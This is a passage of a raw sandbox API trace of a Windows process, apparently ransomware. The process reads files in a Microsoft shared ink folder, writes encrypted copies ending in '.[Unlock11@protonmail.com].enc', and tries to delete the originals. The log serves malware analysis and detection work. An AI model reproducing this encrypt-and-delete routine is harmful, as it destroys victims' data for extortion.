GetCurrentThreadId () returned 0x9b0 [0120.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a468 [0120.838] GetLastError () returned 0x0 [0120.839] GetLastError () returned 0x0 [0120.839] GetLastError () returned 0x0 [0120.839] GetLastError () returned 0x0 [0120.839] GetCurrentThreadId () returned 0x9b0 [0120.839] GetLastError () returned 0x0 [0120.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0120.839] GetLastError () returned 0x0 [0120.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0120.839] GetLastError () returned 0x0 [0120.839] GetLastError () returned 0x0 [0120.839] GetLastError () returned 0x0 [0120.840] GetCurrentThreadId () returned 0x9b0 [0120.840] GetLastError () returned 0x0 [0120.840] GetLastError () returned 0x0 [0120.840] GetLastError () returned 0x0 [0120.840] GetLastError () returned 0x0 [0120.840] GetLastError () returned 0x0 [0120.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.840] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20)) returned 1 [0120.840] GetLastError () returned 0x0 [0120.841] GetCurrentThreadId () returned 0x9b0 [0120.841] GetLastError () returned 0x0 [0120.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0120.841] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0120.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0120.841] GetCurrentThreadId () returned 0x9b0 [0120.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0120.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0120.841] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0120.841] GetLastError () returned 0x0 [0120.841] GetLastError () returned 0x0 [0120.842] GetLastError () returned 0x0 [0120.842] GetLastError () returned 0x0 [0120.842] GetCurrentThreadId () returned 0x9b0 [0120.842] GetLastError () returned 0x0 [0120.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0120.842] GetCurrentThreadId () returned 0x9b0 [0120.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead00 [0120.842] GetLastError () returned 0x0 [0120.842] GetLastError () returned 0x0 [0120.842] GetLastError () returned 0x0 [0120.843] GetLastError () returned 0x0 [0120.843] GetCurrentThreadId () returned 0x9b0 [0120.843] GetLastError () returned 0x0 [0120.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead00 | out: hHeap=0x2ad0000) returned 1 [0120.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265368 [0120.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0120.843] GetCurrentThreadId () returned 0x9b0 [0120.843] GetLastError () returned 0x0 [0120.843] GetLastError () returned 0x0 [0120.843] GetLastError () returned 0x0 [0120.843] GetLastError () returned 0x0 [0120.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0120.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652a8 [0120.844] GetLastError () returned 0x0 [0120.844] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.844] GetFileType (hFile=0x39c) returned 0x1 [0120.844] GetLastError () returned 0x0 [0120.844] GetCurrentThreadId () returned 0x9b0 [0120.844] GetLastError () returned 0x0 [0120.844] GetFileType (hFile=0x39c) returned 0x1 [0120.845] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.845] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.845] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.845] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.845] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.845] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.845] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.845] GetLastError () returned 0x0 [0120.845] GetCurrentThreadId () returned 0x9b0 [0120.845] GetLastError () returned 0x0 [0120.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0120.846] GetLastError () returned 0x0 [0120.846] GetLastError () returned 0x0 [0120.846] GetLastError () returned 0x0 [0120.846] GetLastError () returned 0x0 [0120.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652a8 [0120.846] GetLastError () returned 0x0 [0120.846] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.847] GetFileType (hFile=0x3ac) returned 0x1 [0120.847] GetLastError () returned 0x0 [0120.847] GetCurrentThreadId () returned 0x9b0 [0120.847] GetLastError () returned 0x0 [0120.848] GetFileType (hFile=0x3ac) returned 0x1 [0120.848] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.848] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.848] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.848] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.848] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.848] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.848] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.848] GetLastError () returned 0x0 [0120.848] GetCurrentThreadId () returned 0x9b0 [0120.848] GetLastError () returned 0x0 [0120.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0120.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.849] GetLastError () returned 0x0 [0120.849] GetLastError () returned 0x0 [0120.849] GetCurrentThreadId () returned 0x9b0 [0120.849] GetCurrentThreadId () returned 0x9b0 [0120.851] GetCurrentThreadId () returned 0x9b0 [0120.851] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa35) returned 0x35c5908 [0120.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0120.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa38) returned 0x35be9f8 [0120.852] GetCurrentThreadId () returned 0x9b0 [0120.852] GetCurrentThreadId () returned 0x9b0 [0120.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa35) returned 0x35bf438 [0120.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0120.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0120.852] GetCurrentThreadId () returned 0x9b0 [0120.852] GetCurrentThreadId () returned 0x9b0 [0120.853] CloseHandle (hObject=0x3ac) returned 1 [0120.853] GetCurrentThreadId () returned 0x9b0 [0120.854] CloseHandle (hObject=0x39c) returned 1 [0120.854] GetCurrentThreadId () returned 0x9b0 [0120.854] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0 [0120.854] GetCurrentThreadId () returned 0x9b0 [0120.854] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", lpFilePart=0x9bada4*="ipschs.xml") returned 0x3d [0120.854] GetCurrentThreadId () returned 0x9b0 [0120.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0120.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0120.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0120.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0120.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac38 [0120.855] GetCurrentThreadId () returned 0x9b0 [0120.855] GetCurrentThreadId () returned 0x9b0 [0120.855] GetCurrentThreadId () returned 0x9b0 [0120.855] GetCurrentThreadId () returned 0x9b0 [0120.855] GetCurrentThreadId () returned 0x9b0 [0120.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabc0 | out: hHeap=0x2ad0000) returned 1 [0120.856] GetCurrentThreadId () returned 0x9b0 [0120.856] GetCurrentThreadId () returned 0x9b0 [0120.856] GetCurrentThreadId () returned 0x9b0 [0120.856] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e)) returned 1 [0120.856] GetCurrentThreadId () returned 0x9b0 [0120.856] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0120.856] GetCurrentThreadId () returned 0x9b0 [0120.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0120.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0120.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0120.857] GetCurrentThreadId () returned 0x9b0 [0120.857] GetCurrentThreadId () returned 0x9b0 [0120.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0120.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0120.857] GetCurrentThreadId () returned 0x9b0 [0120.857] GetCurrentThreadId () returned 0x9b0 [0120.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652c8 [0120.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0120.858] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.858] GetFileType (hFile=0x39c) returned 0x1 [0120.858] GetCurrentThreadId () returned 0x9b0 [0120.858] GetFileType (hFile=0x39c) returned 0x1 [0120.858] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.858] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.859] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.859] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.859] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.859] GetLastError () returned 0x0 [0120.859] GetCurrentThreadId () returned 0x9b0 [0120.859] GetLastError () returned 0x0 [0120.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0120.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0120.859] GetLastError () returned 0x0 [0120.859] GetLastError () returned 0x0 [0120.859] GetLastError () returned 0x0 [0120.859] GetLastError () returned 0x0 [0120.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0120.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265368 [0120.860] GetLastError () returned 0x0 [0120.860] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.860] GetFileType (hFile=0x3ac) returned 0x1 [0120.860] GetLastError () returned 0x0 [0120.861] GetCurrentThreadId () returned 0x9b0 [0120.861] GetLastError () returned 0x0 [0120.861] GetFileType (hFile=0x3ac) returned 0x1 [0120.861] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.861] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.861] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.861] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.861] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.861] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.861] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.861] GetLastError () returned 0x0 [0120.861] GetCurrentThreadId () returned 0x9b0 [0120.862] GetLastError () returned 0x0 [0120.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0120.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0120.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.862] GetLastError () returned 0x0 [0120.862] GetLastError () returned 0x0 [0120.862] GetCurrentThreadId () returned 0x9b0 [0120.862] GetLastError () returned 0x0 [0120.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.862] GetLastError () returned 0x0 [0120.863] GetLastError () returned 0x0 [0120.863] GetCurrentThreadId () returned 0x9b0 [0120.863] GetLastError () returned 0x0 [0120.863] GetLastError () returned 0x0 [0120.864] GetLastError () returned 0x0 [0120.865] GetCurrentThreadId () returned 0x9b0 [0120.865] GetLastError () returned 0x0 [0120.865] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9b3) returned 0x35c5908 [0120.865] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9b5) returned 0x35c5908 [0120.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0120.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0120.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9b8) returned 0x35be9f8 [0120.865] GetCurrentThreadId () returned 0x9b0 [0120.865] GetLastError () returned 0x0 [0120.865] GetLastError () returned 0x0 [0120.865] GetLastError () returned 0x0 [0120.866] GetLastError () returned 0x0 [0120.866] GetCurrentThreadId () returned 0x9b0 [0120.866] GetLastError () returned 0x0 [0120.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0120.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0120.866] GetLastError () returned 0x0 [0120.866] GetLastError () returned 0x0 [0120.867] GetCurrentThreadId () returned 0x9b0 [0120.867] GetLastError () returned 0x0 [0120.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x318ae98 | out: hHeap=0x2ad0000) returned 1 [0120.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c62c8 [0120.867] GetLastError () returned 0x0 [0120.867] GetLastError () returned 0x0 [0120.867] GetCurrentThreadId () returned 0x9b0 [0120.867] GetLastError () returned 0x0 [0120.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c62c8 | out: hHeap=0x2ad0000) returned 1 [0120.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.868] GetLastError () returned 0x0 [0120.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.869] CloseHandle (hObject=0x3ac) returned 1 [0120.869] GetLastError () returned 0x0 [0120.869] GetCurrentThreadId () returned 0x9b0 [0120.869] GetLastError () returned 0x0 [0120.869] GetLastError () returned 0x0 [0120.869] CloseHandle (hObject=0x39c) returned 1 [0120.869] GetLastError () returned 0x0 [0120.870] GetCurrentThreadId () returned 0x9b0 [0120.870] GetLastError () returned 0x0 [0120.870] GetLastError () returned 0x0 [0120.870] GetLastError () returned 0x0 [0120.870] GetLastError () returned 0x0 [0120.870] GetLastError () returned 0x0 [0120.870] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0 [0120.870] GetLastError () returned 0x5 [0120.870] GetCurrentThreadId () returned 0x9b0 [0120.870] GetLastError () returned 0x5 [0120.871] GetLastError () returned 0x5 [0120.871] GetLastError () returned 0x5 [0120.871] GetLastError () returned 0x5 [0120.871] LocalFree (hMem=0x1053b70) returned 0x0 [0120.871] GetCurrentThreadId () returned 0x9b0 [0120.871] GetLastError () returned 0x5 [0120.871] GetLastError () returned 0x5 [0120.871] GetLastError () returned 0x5 [0120.871] GetLastError () returned 0x5 [0120.871] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml", lpFilePart=0x9bada4*="ipscht.xml") returned 0x3d [0120.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0120.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0120.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0120.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0120.872] GetCurrentThreadId () returned 0x9b0 [0120.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0120.872] GetLastError () returned 0x0 [0120.872] GetLastError () returned 0x0 [0120.872] GetLastError () returned 0x0 [0120.872] GetLastError () returned 0x0 [0120.873] GetCurrentThreadId () returned 0x9b0 [0120.873] GetLastError () returned 0x0 [0120.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0120.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea850 [0120.873] GetLastError () returned 0x0 [0120.873] GetLastError () returned 0x0 [0120.873] GetLastError () returned 0x0 [0120.873] GetLastError () returned 0x0 [0120.873] GetCurrentThreadId () returned 0x9b0 [0120.873] GetLastError () returned 0x0 [0120.874] GetCurrentThreadId () returned 0x9b0 [0120.874] GetLastError () returned 0x0 [0120.874] GetLastError () returned 0x0 [0120.874] GetLastError () returned 0x0 [0120.874] GetLastError () returned 0x0 [0120.874] GetCurrentThreadId () returned 0x9b0 [0120.874] GetLastError () returned 0x0 [0120.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea850 | out: hHeap=0x2ad0000) returned 1 [0120.874] GetLastError () returned 0x0 [0120.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0120.874] GetLastError () returned 0x0 [0120.875] GetLastError () returned 0x0 [0120.875] GetLastError () returned 0x0 [0120.875] GetCurrentThreadId () returned 0x9b0 [0120.875] GetLastError () returned 0x0 [0120.875] GetLastError () returned 0x0 [0120.875] GetLastError () returned 0x0 [0120.875] GetLastError () returned 0x0 [0120.875] GetLastError () returned 0x0 [0120.875] GetCurrentThreadId () returned 0x9b0 [0120.875] GetLastError () returned 0x0 [0120.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0120.876] GetLastError () returned 0x0 [0120.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0120.876] GetLastError () returned 0x0 [0120.876] GetLastError () returned 0x0 [0120.876] GetLastError () returned 0x0 [0120.876] GetCurrentThreadId () returned 0x9b0 [0120.876] GetLastError () returned 0x0 [0120.876] GetCurrentThreadId () returned 0x9b0 [0120.876] GetLastError () returned 0x0 [0120.876] GetLastError () returned 0x0 [0120.876] GetLastError () returned 0x0 [0120.877] GetLastError () returned 0x0 [0120.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0120.877] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984)) returned 1 [0120.877] GetLastError () returned 0x0 [0120.877] GetCurrentThreadId () returned 0x9b0 [0120.877] GetLastError () returned 0x0 [0120.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0120.877] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae6c | out: pbBuffer=0x366ae6c) returned 1 [0120.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0120.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0120.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea918 [0120.878] GetCurrentThreadId () returned 0x9b0 [0120.878] GetLastError () returned 0x0 [0120.878] GetLastError () returned 0x0 [0120.878] GetLastError () 